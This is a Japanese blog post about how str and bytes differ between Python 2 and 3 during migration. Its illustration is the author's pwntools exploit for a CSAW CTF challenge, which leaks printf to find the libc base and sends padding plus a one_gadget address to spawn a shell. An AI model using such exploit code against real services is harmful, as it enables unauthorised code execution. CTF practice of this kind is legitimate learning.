python2系から3系への移行で困ったstrの話

この記事は、品川 Advent Calender 2019の記事です。
2系で動くものはまだまだ多いですがpython2系のサポートが2020/1/1までと、終了まであと1週間を切ってます。 結局2019/4/1まで延びるらしいですね。参考ページ
とはいえ、残りが3か月程度ということもあり、最近結構な頻度でpython3への変換をやったりすることがあるのですが、オブジェクトの扱いを変化をあまり理解しておらず、 変換した後に想定通りの動作をせずハマってしまったことが何度かあったため初心者向けの話には近いところですが、記事を書いてみることにしました。

個人的に言いたいこと

やったこと

自宅のCTF用に使用しているVM環境とソースコード類を2to3を使って変換していこうと思っていた。 試しに以前CSAW CTF予選に出場した際に書いた以下のソースに適用した。
baby_boy.py

from pwn import *
import time

HOST = "pwn.chal.csaw.io"
PORT = xxx # dummy
conn = remote(HOST, PORT)


conn.recvuntil('Hello!\n')
recieve_address = conn.recvline().strip().split() # recieve binary
printf_address = int(recieve_address[3],16) 
printf_offset = 0x64e80
libc_base = printf_address - printf_offset 
one_gadget = 0x4f322

payload = ('A'* 40) + p64(libc_base + one_gadget) # str + bytes
conn.sendline(payload) # send_binary
conn.interactive()

変換した実行ログは以下のようになる。

$ 2to3 baby_boi.py     
RefactoringTool: Skipping optional fixer: buffer
RefactoringTool: Skipping optional fixer: idioms
RefactoringTool: Skipping optional fixer: set_literal
RefactoringTool: Skipping optional fixer: ws_comma
RefactoringTool: No changes to baby_boi.py
RefactoringTool: Files that need to be modified:
RefactoringTool: baby_boi.py

要するに修正する箇所は無いらしい。
ただし、これをpython3で動かすと以下の通りにエラーが出て実行できない。※1

Traceback (most recent call last):
  File "baby.py", line 16, in <module>
    payload = ('A'* 40) + p64(libc_base + one_gadget) # str + bytes
TypeError: must be str, not bytes

何が起こっているか

エラーログを見ての通り、 strとbytesで型が違うと怒られている。この変化は以下のような違いが関連している。

python2

python2では文字列を扱うにあたりstrとunicodeの2つのタイプがある。

  • python2のstrではバイト列であり文字コードに関する情報を持っていない
  • unicodeとして扱うためにはunicode型(u'...')を使用して明示的に指定する必要がある。
    unicodeとstrの行き来をする際にはdecode,encodeメソッドが必須。

実行例

>>> type(u'abc')
<type 'unicode'>
>>> type('abc')
<type 'str'>
>>> type(b'abc')
<type 'str'>

python3

一方で、python3の場合は以下のような特徴を持つ

  • strはデフォルトでunicode文字列として扱う
  • バイナリデータを扱うためにはbytes型(b'...')を使用して明示的に指定する必要がある。 strとbytesの行き来をする際にはdecode,encodeメソッドが必須。

実行例

>>> type(b'abc')
<class 'bytes'>
>>> type('abc')
<class 'str'>
>>> type(u'abc')
<class 'str'>

そのため、python2系ではbytes同士の以下のような比較が成立してしまう。

>>> b'abc' == 'abc'
True

一方で、python3の場合はbytesとstrで型が異なるため以下のようになる。

>>> b'abc' == 'abc'
False

ざっくりまとめると以下のように扱うとよい

扱う文字列 python2 python3
byte str bytes
str(unicode以外) str str
str(unicode) unicode str

2系から3系への移行時に注意すべきこと

この扱いの変化は非常に厄介(個人的に2系から3系への変換で一番面倒だと思っている)と考えるのは、以下のような特徴があるからです。

  • コードの静的チェックや2to3等の変換ツールでの発見が基本的には不可能
  • 比較に至ってはTrue/Falseが変化するだけで処理によってはエラーすら出力されないこともあるため、別のところでバグが起きて気づくケースがほとんどである

結局文字コードの扱いについては機械が見て判断できるものではないからツールで変換することは難しく、 最終的には人の目で見て解決するしかないのでしょうね。

余談

  • 1週間後に別の環境で2to3を使って移植した時にはpytestが想定通りに通らず、これが原因だということに気づくまで半日くらい頭を抱えていた。
  • 自分の持っているpython2コードは結局ほとんどやらなかった
※1 すでにサーバーが停止している様なので、現状では9行目で何も動かなくなる